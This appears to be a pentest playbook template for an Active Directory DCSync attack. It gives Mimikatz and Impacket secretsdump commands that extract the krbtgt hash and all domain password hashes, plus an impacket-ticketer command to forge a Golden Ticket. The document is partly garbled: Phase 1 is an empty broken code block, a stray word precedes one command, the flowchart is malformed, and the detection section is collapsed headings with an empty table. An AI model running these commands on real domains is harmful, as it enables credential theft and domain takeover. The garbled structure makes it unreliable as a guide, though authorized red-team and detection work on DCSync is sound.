ad-dcsync-attack

Active Directory DCSync Attack

When to Use

• When an attacker has compromised an account or group with the highly privileged DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights (often Domain Admins or maliciously delegated accounts).
• To stealthily extract NTLM hashes (including the krbtgt account hash) directly from Active Directory over the network, avoiding the need to execute code or drop malware directly on a Domain Controller.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the Target (krbtgt) and Access Rights

# ```

### Phase 2: Execution via Mimikatz (Windows)

```text
# privilege::debug
lsadump::dcsync /domain:lab.local /user:krbtgt

# lsadump::dcsync /domain:lab.local /all /csv

Phase 3: Execution via Impacket (Linux/Network)

# impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:[email protected]

# beautifully impacket-secretsdump lab.local/administrator:[email protected]

Phase 4: Utilizing the Material (Golden Ticket)

# impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain lab.local Administrator

Decision Point 🔀

flowchart TD
    A[Identify Rights ] --> B{Possess Rights ]}
    B -->|Yes| C[Execute DCSync ]
    B -->|No| D[Escalate Privileges ]
    C --> E[Extract Hashes ]

🔵 Blue Team Detection & Defense

• Monitor Directory Replication events: Review ACLs for Replication Rights (BloodHound / ADAC): Network Segmentation & Monitoring: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ad Dcsync Attack — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]